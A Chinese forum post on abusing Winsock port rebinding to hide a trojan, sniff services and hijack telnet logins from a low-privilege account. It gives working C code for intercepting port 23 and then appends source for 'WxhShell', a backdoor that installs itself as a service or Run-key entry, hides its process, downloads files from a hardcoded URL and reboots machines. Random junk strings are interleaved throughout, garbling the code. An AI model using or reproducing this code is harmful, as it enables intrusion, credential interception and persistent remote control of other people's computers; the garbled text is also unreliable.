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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6uKth mr  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !Q<3TfC  
M(:bM1AD`u  
  saddr.sin_family = AF_INET; 9Iq<*\V 4  
+'iqGg-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $aB`A$'hK  
oM^vJ3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FV7'3fIa  
KKb7dZbt<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DfU= i'R  
!fd>wvJ,:  
  这意味着什么?意味着可以进行如下的攻击: 0VNpd~G$  
r..f$FF)\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c`hENPhW  
^c/3 !"wK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <gGO  
S.`hl/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z C$F@  
xdDe@G;"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~% t'}JDZ  
V2AsZc0U(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M;'GnGFf  
{QmK4(k?|c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 EE|c@M^  
;$1x_ Cb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2A =Y  
X[dH*PV  
  #include P*>?/I`G  
  #include fVa z'R  
  #include [\ Sd*-  
  #include    e-UWbn'~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6[RTL2&W  
  int main() 1JdMw$H  
  { \CE+P5  
  WORD wVersionRequested; R.l!KIq  
  DWORD ret; 0%;| B  
  WSADATA wsaData; n@h$V\&\iM  
  BOOL val; `F1Yfm jZT  
  SOCKADDR_IN saddr; 4+nZ4a>LH?  
  SOCKADDR_IN scaddr; |+JO]J#bc  
  int err; )c1Pj#|  
  SOCKET s; R/fE@d2~In  
  SOCKET sc; u rQvJ  
  int caddsize; F7w\ctUP  
  HANDLE mt; 6(t'B!x  
  DWORD tid;   wu11)HFL|z  
  wVersionRequested = MAKEWORD( 2, 2 ); uOKD#   
  err = WSAStartup( wVersionRequested, &wsaData ); ;;rx)|\<R  
  if ( err != 0 ) { ^&y*=6C  
  printf("error!WSAStartup failed!\n"); bivo7_  
  return -1; J}4RJ9  
  } &'i>d&  
  saddr.sin_family = AF_INET; sa/9r9hc+  
   'rFLG+W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [+CFQf>  
]\>MDH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l x0BKD?n  
  saddr.sin_port = htons(23); <^Y #q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tn _\E/Q  
  { `s\[X-j]  
  printf("error!socket failed!\n"); }?Pa(0=U  
  return -1; |0>rojMq  
  } s!yD%zO  
  val = TRUE; #K$0%0=M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }weE^9GiJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `mYp?N jR_  
  { LkK[,Qj  
  printf("error!setsockopt failed!\n"); 4T"L#o1  
  return -1; r8N)]Hs ZH  
  } )ezkp%I5D  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nygeR|:\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vl}}h%BC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5 3pfo:1'  
pNuU{:9 B0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nehk8+eV_  
  { 2$b1q!g<  
  ret=GetLastError(); n!~QC  
  printf("error!bind failed!\n"); 0R+p\Nc&1  
  return -1; wt'"<UN  
  } QkTU@T6>o  
  listen(s,2); [I'q"yRu]i  
  while(1) !Q%r4Nr  
  { z Z~t ,>  
  caddsize = sizeof(scaddr); l ObY  
  //接受连接请求 X MF? y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N!v>2"x8q  
  if(sc!=INVALID_SOCKET) [AD%8 H  
  { ts@ e ,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "]'W^Fg  
  if(mt==NULL) dvY3=~'  
  { sT<h+[2d  
  printf("Thread Creat Failed!\n"); |pU>^  
  break; p&`I#6{  
  } /J c^XWf  
  } B=X_c5  
  CloseHandle(mt); V1G5Kph  
  } " ;8kKR  
  closesocket(s); fHI@' '0  
  WSACleanup(); Q'ib7R;V,  
  return 0; ,y/m5-D!  
  }   &@2`_%QtA  
  DWORD WINAPI ClientThread(LPVOID lpParam) **6X9ZIX[  
  { :,/ \E  
  SOCKET ss = (SOCKET)lpParam; X C390t  
  SOCKET sc; 6/(Z*L"~6k  
  unsigned char buf[4096]; <3=k  
  SOCKADDR_IN saddr; )^ )|b5,  
  long num; ;D4 bxz0ou  
  DWORD val; (V/! 0Lj  
  DWORD ret; ~aL?{kb+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Hb^ovc0   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   lfw BUb  
  saddr.sin_family = AF_INET; v"J|Ebx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cj[%.M5iBA  
  saddr.sin_port = htons(23); cyL|.2,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oK"#*n  
  { T0\[": A  
  printf("error!socket failed!\n"); #\z"k<{*  
  return -1; [E}pU8.t6  
  } *s2 C+@ef  
  val = 100; 1'k,P;s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /wHfc[b>  
  { ZQ_~ L!ot  
  ret = GetLastError(); S|IDFDn  
  return -1; IZ.b  
  } sP8_Y,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  |FFM Q"  
  { g^\>hjNX  
  ret = GetLastError(); x_4{MD^%  
  return -1; n!NA}Oa  
  } g%4=T~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n0^3F1Z  
  { [ID#P Ule  
  printf("error!socket connect failed!\n"); -#AO4xpI  
  closesocket(sc); 3[m~6 Ys  
  closesocket(ss); 4'`*Sce}  
  return -1; oT}Sh4Wt.  
  } cavzXz  
  while(1) G)9`Qn  
  { T=pKen/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2&F  H8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 AAc2u^spx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +2s][^-KV  
  num = recv(ss,buf,4096,0); z}7U>y6`  
  if(num>0) cn_*,\}  
  send(sc,buf,num,0); LQ"xm  
  else if(num==0) N$8"X-na?  
  break; .Na'yS `J  
  num = recv(sc,buf,4096,0); s! sG)AR.J  
  if(num>0) j2%#xZ{33  
  send(ss,buf,num,0); mi sPJO&QD  
  else if(num==0) SR9M:%dga  
  break; #)KQ-x,  
  } P?iQ{x}w~  
  closesocket(ss); 93Qx+oK]  
  closesocket(sc); (i^<er q  
  return 0 ; k,[[ CZ0j  
  } FWyfFCK  
`SYq/6$VEH  
7)Bizlf  
========================================================== 6uWPIM;  
#j"N5e}U  
下边附上一个代码,,WXhSHELL i$'#7U  
ogE|8`Tq^  
========================================================== M j |"+(  
kmsgaB7?  
#include "stdafx.h" 8PW3x-+  
(R{z3[/u&  
#include <stdio.h> Xm.["&  
#include <string.h> I;?np  
#include <windows.h> |\q@XCGei  
#include <winsock2.h> 9 J~KM=p  
#include <winsvc.h> =Xb:.  
#include <urlmon.h> ,V=]QHcg  
 OV$|!n  
#pragma comment (lib, "Ws2_32.lib") KWT[b?  
#pragma comment (lib, "urlmon.lib") DGx<Nys@B  
"& q])3h=  
#define MAX_USER   100 // 最大客户端连接数 J`A )WsKkb  
#define BUF_SOCK   200 // sock buffer xgB-m[Xi  
#define KEY_BUFF   255 // 输入 buffer ' C1yqkIa`  
K6oQx)|  
#define REBOOT     0   // 重启 A)o%\j  
#define SHUTDOWN   1   // 关机 +}!FP3KgT  
AaJnRtBS~  
#define DEF_PORT   5000 // 监听端口 xy<)zKp  
K>`*JJ,  
#define REG_LEN     16   // 注册表键长度 Cv1CRmqq%  
#define SVC_LEN     80   // NT服务名长度 _VAX~Y]  
g6<D 1r  
// 从dll定义API n'Z5rXg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -- |L?-2k,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @?<1~/sfL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7.1FRxS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )m$i``*<  
C]%}L%,  
// wxhshell配置信息 o_%gFV[q  
struct WSCFG { 'tzN.p1O  
  int ws_port;         // 监听端口 uF\f>E)/N%  
  char ws_passstr[REG_LEN]; // 口令 ^Jn=a9Q6Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'fY( Vm  
  char ws_regname[REG_LEN]; // 注册表键名 V%!my[b  
  char ws_svcname[REG_LEN]; // 服务名 ^o6&|q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jD'$nKpg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W q>qso  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -VRKQNT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $t42?Z=N&z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ST^{?Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C2Af$7c  
cP(is!  
}; tY $4k26  
}h_= n>  
// default Wxhshell configuration '9q:gFO  
struct WSCFG wscfg={DEF_PORT, |t h"ET  
    "xuhuanlingzhe", 's6hCs&|NV  
    1, 23[XmBf  
    "Wxhshell", Eg|C  
    "Wxhshell", ZuQ\Pyx  
            "WxhShell Service", W&Gt^5  
    "Wrsky Windows CmdShell Service", &Kc'g H  
    "Please Input Your Password: ", u}IQ)Ma  
  1, 3D"?|rd~  
  "http://www.wrsky.com/wxhshell.exe", Z%O>|ozpq  
  "Wxhshell.exe" YXjWk),  
    }; ( G#W6  
^6I8a"  
// 消息定义模块 Q?TXM1Bp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &IgH]?t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P0^7hSo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $79-)4;z4  
char *msg_ws_ext="\n\rExit."; t:.ZvA3  
char *msg_ws_end="\n\rQuit."; ?o6\>[O  
char *msg_ws_boot="\n\rReboot..."; CaqMLi%  
char *msg_ws_poff="\n\rShutdown..."; lC(g&(\{  
char *msg_ws_down="\n\rSave to "; QF`o%mI  
uNRT@@oCq  
char *msg_ws_err="\n\rErr!"; /:@X<  
char *msg_ws_ok="\n\rOK!"; Luu.p<   
#sp8 !8|y  
char ExeFile[MAX_PATH]; 2XGbqZj  
int nUser = 0; i5^U1K\M  
HANDLE handles[MAX_USER]; W8{zV_TBm  
int OsIsNt; |F^h >^ x  
H@hHEzO  
SERVICE_STATUS       serviceStatus; Qp]-4%^Vz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Sk&l8"  
b!xm=U  
// 函数声明 ^5d9n<_xnQ  
int Install(void); u9R:2ah&K  
int Uninstall(void); ck4g=QpD{  
int DownloadFile(char *sURL, SOCKET wsh); tM;S )S(=  
int Boot(int flag); P_3U4J  
void HideProc(void); G`r*)pdm  
int GetOsVer(void); QHuh=7u)  
int Wxhshell(SOCKET wsl); )!(etB=`y  
void TalkWithClient(void *cs); j8"2K^h=  
int CmdShell(SOCKET sock); /Jci1o  
int StartFromService(void); 9 ]W4o"  
int StartWxhshell(LPSTR lpCmdLine); w_eUU)z  
o|0QstSCl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9F"Q2^l'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /*yPy?  
L=WB'*N  
// 数据结构和表定义 vswBK-w(Z  
SERVICE_TABLE_ENTRY DispatchTable[] = jIs2R3B  
{ y?s8UEC  
{wscfg.ws_svcname, NTServiceMain}, Nt#a_  
{NULL, NULL} '+{dr\nJ  
}; l]o)KM<  
PofHe  
// 自我安装 'uOzC"_yF  
int Install(void) \4e6\6 +  
{ nmrYBw>  
  char svExeFile[MAX_PATH]; wk"zpI7L  
  HKEY key; ] /{987  
  strcpy(svExeFile,ExeFile); .}l&lj@#  
y3vm+tJc{  
// 如果是win9x系统,修改注册表设为自启动 P?P))UB5  
if(!OsIsNt) { Ho:X.Z9A^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !1\j D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T{%'"mm;  
  RegCloseKey(key); d(-$ { c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |6.1uRFE2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); : 'LG%E:b  
  RegCloseKey(key); =wy3h0k^  
  return 0; ^."HD(  
    } ;c_pa0L  
  } w+0Ch1$  
} /o_h'l|PS  
else { )4P5i b  
Qe )#'$T  
// 如果是NT以上系统,安装为系统服务 JrdH6Zg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ].eY]o}=  
if (schSCManager!=0) )tV^)n[w  
{ Z|kMoB  
  SC_HANDLE schService = CreateService C8 b%r|^#  
  ( Ag!#epi{0  
  schSCManager, !bHM:!6^  
  wscfg.ws_svcname, a~-^$Fzgy  
  wscfg.ws_svcdisp, S3k>34_%9  
  SERVICE_ALL_ACCESS, hsUP5_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T?Dq2UW  
  SERVICE_AUTO_START, CF`fn6  
  SERVICE_ERROR_NORMAL, tyLR_@i%%  
  svExeFile, MXxE)"G*a  
  NULL, P00pSRQHD  
  NULL, K{&b "Ba1  
  NULL, Xkv+"F=-  
  NULL, Q b|.;_  
  NULL ,T|%vqbmw  
  ); &Tf R].  
  if (schService!=0) Mwdw7MZ"S  
  { 69v[* InSd  
  CloseServiceHandle(schService); ] cv|A^  
  CloseServiceHandle(schSCManager); E+&]96*Lby  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ew n/@;E  
  strcat(svExeFile,wscfg.ws_svcname); |UO1vA@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,A>i)brc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /e5Fx  
  RegCloseKey(key); a'v%bL;H~  
  return 0; [i'\d}  
    } DvuL1Me Ko  
  } 995^[c1o6  
  CloseServiceHandle(schSCManager); ,K'}<dm|x  
} y{eZrX|  
} e<p_u)m  
S %"7`xl  
return 1; B9_0 Yq  
} [\ JZpF  
A/U tf0{3"  
// 自我卸载 i`g>Y5   
int Uninstall(void) N[$(y} !s  
{ rr[9sk`^H  
  HKEY key; rwxJR@Ttn  
fuH Dif,  
if(!OsIsNt) { f-\l<o(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z v=p0xH  
  RegDeleteValue(key,wscfg.ws_regname); ]'aG oR  
  RegCloseKey(key); -BV&u(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r[$Qtj Q  
  RegDeleteValue(key,wscfg.ws_regname); FVsNOU  
  RegCloseKey(key); z^4\?R50yO  
  return 0; _W: S>ij(  
  } ;e0>.7m  
} oh;F]*k6  
} r,6~?hG]  
else { EMH?z2iGd  
!UUh7'W4u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @T1 >%oi  
if (schSCManager!=0) p;n)YY$  
{ <MN+2^ed&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e<^tY0rR&  
  if (schService!=0) 0nAeeVz|  
  { ,>(M5\Z/c  
  if(DeleteService(schService)!=0) { H[x9 7r  
  CloseServiceHandle(schService); ji( S ?^  
  CloseServiceHandle(schSCManager); 4(JxZ49  
  return 0; .)Se-'  
  } r _r$nl  
  CloseServiceHandle(schService); q9Y0Lk  
  } U hCd,  
  CloseServiceHandle(schSCManager); E"Xi  
} xiRTp:>  
} cQPH le2  
N13 <!QQ  
return 1; &TbnZnv  
} !wrl.A/P  
Dz)bP{iq"  
// 从指定url下载文件 oRu S_X  
int DownloadFile(char *sURL, SOCKET wsh) A|>a Gy  
{ wCvD4C.WH  
  HRESULT hr; t9pPG{1  
char seps[]= "/"; nbpN+a%  
char *token; 7<.f&1MgI  
char *file; o7 !@WOeZ3  
char myURL[MAX_PATH]; ,iPkx(  
char myFILE[MAX_PATH]; GZ'hj_2%<  
<6apv(2a  
strcpy(myURL,sURL); g6W.Gl"5\w  
  token=strtok(myURL,seps); y+ :<  
  while(token!=NULL) wU#Q>ut'%  
  { 9 I RE@c  
    file=token; #8/Z)-G  
  token=strtok(NULL,seps); dy`~%lX?  
  } 1xtbhk]D  
Vxgc|E^J  
GetCurrentDirectory(MAX_PATH,myFILE); ^U_jeAuk8[  
strcat(myFILE, "\\"); kLD)<D  
strcat(myFILE, file); w-nkf M~  
  send(wsh,myFILE,strlen(myFILE),0); ^ O`  
send(wsh,"...",3,0); 9DtSYd/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E$G "R =  
  if(hr==S_OK) [=E<iPl  
return 0; GV[[[fu  
else rbtPG=t_R  
return 1; WJ9u 3+  
hrAI@.Bo  
} \O/=g6w|t}  
9)YG)A~<  
// 系统电源模块 hG;u8|uT^i  
int Boot(int flag) V u! ,tpa.  
{ -=qmYf  
  HANDLE hToken; f CVSVn"o  
  TOKEN_PRIVILEGES tkp; 3]VTQl{P  
t1~*q)!Mo  
  if(OsIsNt) { #-V Kk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w|5}V6WD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z=H f OC  
    tkp.PrivilegeCount = 1; i([A8C_A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; etDB|(,z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (8ymQ!aY  
if(flag==REBOOT) { |n &6z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -0\$JAyrx  
  return 0; 7I.[1V`  
} a,tP.Xsl  
else { j/Kw-h ,5"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Kc{wv/6}T  
  return 0; iCEX|Tj;  
} p' gv5\u[w  
  } <n`|zQ  
  else { "M*\,IH  
if(flag==REBOOT) { '/p5tw8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I%s/h4x^B[  
  return 0; E|fPI u  
} G37_ `C  
else { -J6}7>4^8}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g+CH F?O  
  return 0; rj5:Y QEH;  
} -FPl",f=r  
} +<|w|c  
B=p'2lla  
return 1; PRUGUHY  
} C eg6 o &^  
u@|yw)  
// win9x进程隐藏模块 #\M<6n{  
void HideProc(void) EagI)W!s[  
{ Fq3;7Cq=hD  
bVrvb`0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d8K^`k+x  
  if ( hKernel != NULL )  )Ob{]  
  { p*'?(o:=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l{3utQH-=z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jW*A(bK8:  
    FreeLibrary(hKernel); nAYjSE  
  } /[-hJ=< Yb  
u/zfx ;K  
return; ~& l`"  
} 3A9|{Vaz+6  
{!4%Z9G  
// 获取操作系统版本 aD:+,MZ  
int GetOsVer(void) bd9c/>&  
{ 5Tu.2.)N  
  OSVERSIONINFO winfo; :`|,a (  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S&0x:VW  
  GetVersionEx(&winfo); p[$I{F*a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,s)H%  
  return 1; ~E\CAZ  
  else ^q6~xC,/  
  return 0; $OO[C={v[  
} -/</7I  
{xr]xcM'b  
// 客户端句柄模块 Il642#Gh  
int Wxhshell(SOCKET wsl) (1o^Dn3  
{ <vrx8Q*6  
  SOCKET wsh; (AS%P?  
  struct sockaddr_in client; 8?$2;uGL  
  DWORD myID; v3NaX.  
MoA{ /{  
  while(nUser<MAX_USER) g,;MV7yE  
{ J B|I/\(A  
  int nSize=sizeof(client); tX_eN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (!b: gG  
  if(wsh==INVALID_SOCKET) return 1; 6IX!9I\sT  
7-dwr?j7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gM*s/,;O"  
if(handles[nUser]==0) Vh<`MS0X  
  closesocket(wsh); 7~16letQ  
else i~;8'>:|,M  
  nUser++; 4|(?Wt)5  
  } j.6kjQN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9NT;^K^ I  
i_MI!o  
  return 0; \x!>5Z Y  
} sHF vzE%  
Hj!)S&y,$  
// 关闭 socket D)_Ei'+*l  
void CloseIt(SOCKET wsh) X_qXH5^%  
{ {G}HZv%S U  
closesocket(wsh); ,uv$oP-  
nUser--; Q@8[ql1l  
ExitThread(0); >W;i2%T  
} I%p#E#[G  
qj1z>,\  
// 客户端请求句柄 X=3@M_Jzo  
void TalkWithClient(void *cs) #^ 9;<@M  
{ |(%H O@i  
)>fi={!=c  
  SOCKET wsh=(SOCKET)cs; e-VL U;  
  char pwd[SVC_LEN]; !r|X6`g  
  char cmd[KEY_BUFF]; 9<#D0hh$  
char chr[1]; BUb(BzC  
int i,j; ZwMw g t  
<-F"&LI{<  
  while (nUser < MAX_USER) { pV7Gh`<y  
wGvgMZ]?'  
if(wscfg.ws_passstr) { AVp [gr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wLtTC4D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H[D/Sz5`  
  //ZeroMemory(pwd,KEY_BUFF); ]c)SVn$6  
      i=0; BGX@n#:  
  while(i<SVC_LEN) { }]I?vyQ#V  
fDd!Mt  
  // 设置超时 <IVz mzpL  
  fd_set FdRead; yShHFlO=  
  struct timeval TimeOut; 0REWbcxd"  
  FD_ZERO(&FdRead); sYXS#;|M  
  FD_SET(wsh,&FdRead); e@OA>  
  TimeOut.tv_sec=8; lQ/XJw  
  TimeOut.tv_usec=0; `y}d)"!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q8Dwu3D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i7rq;t<  
qx)k1QY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GcnY= %L?  
  pwd=chr[0]; ZkW@|v  
  if(chr[0]==0xd || chr[0]==0xa) { ju]]|  
  pwd=0; &wN 2l-  
  break; #E9['JnZ  
  } MbfzGYA2~  
  i++; eEQ[^i  
    } "|%9xGX|D  
WM"^#=+$  
  // 如果是非法用户,关闭 socket I*}#nY0+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PAHlj,n)  
} 0Mg8{  
F :S,{&jB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W[Bu&?h$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7g)3\C   
@@wx~|%  
while(1) { CeTr%j  
_sVs6AJ  
  ZeroMemory(cmd,KEY_BUFF); $]kg_l)  
Ug21d42Z4  
      // 自动支持客户端 telnet标准   &._!)al  
  j=0; hli 10p$  
  while(j<KEY_BUFF) { #-T.@a1X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /BM1AV{s6  
  cmd[j]=chr[0]; Nz*sD^SJa  
  if(chr[0]==0xa || chr[0]==0xd) { |Vi&f5p,@  
  cmd[j]=0; "Vq]|j,B/c  
  break; 4Umsc>yfK  
  } aLi_Hrb9  
  j++; Z~c'h  
    } vLuQe0l{  
;YDF*~9u  
  // 下载文件 hyiMOa  
  if(strstr(cmd,"http://")) { pm]DxJ@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .KucjRI  
  if(DownloadFile(cmd,wsh)) LUck>l\l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N@6OQ:,[F  
  else Z=@)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 ]Oxx{|}  
  } 0j(jJAE.  
  else { B#"|5  
SDHc[66'  
    switch(cmd[0]) {  J4"swPf  
  hw$c@:pW;  
  // 帮助 JGcD{RU|  
  case '?': { YM`pNtQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); br  Z, s  
    break; /;AZ/Ocy!  
  } V<4+g/  
  // 安装 i ,pN1_-  
  case 'i': { O[)]dD&'  
    if(Install()) cmhN(==  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eJw="  
    else Eqbe$o`dd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (YHvGGr  
    break; bz0P49%  
    } Ia`JIc^e  
  // 卸载 XcMJD(!  
  case 'r': { ,6;xr'[o*  
    if(Uninstall()) _sR9   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1/ pA/UVO  
    else _]xt65TL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RR!!hY3 K  
    break; ]<T8ZA_Y;  
    } l(,;wAH  
  // 显示 wxhshell 所在路径 ;{f??G  
  case 'p': { 0^_lj9B!  
    char svExeFile[MAX_PATH]; EB5_;  
    strcpy(svExeFile,"\n\r"); Hpi%9SAM  
      strcat(svExeFile,ExeFile); `n`"g<K)Q  
        send(wsh,svExeFile,strlen(svExeFile),0); 'd #\7J>d  
    break; _/}Hqh  
    } vM7vf6  
  // 重启 Y#&0x_Z  
  case 'b': { U`8 |9v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G4Kmt98I  
    if(Boot(REBOOT)) D2</^]3Su  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZBmXaP[9  
    else { #RM3^]h  
    closesocket(wsh); F|l`YtZZd  
    ExitThread(0); =6L*!JP<  
    } `{U%[$<[W  
    break; y[p$/$bgC5  
    } q{cp|#m#G  
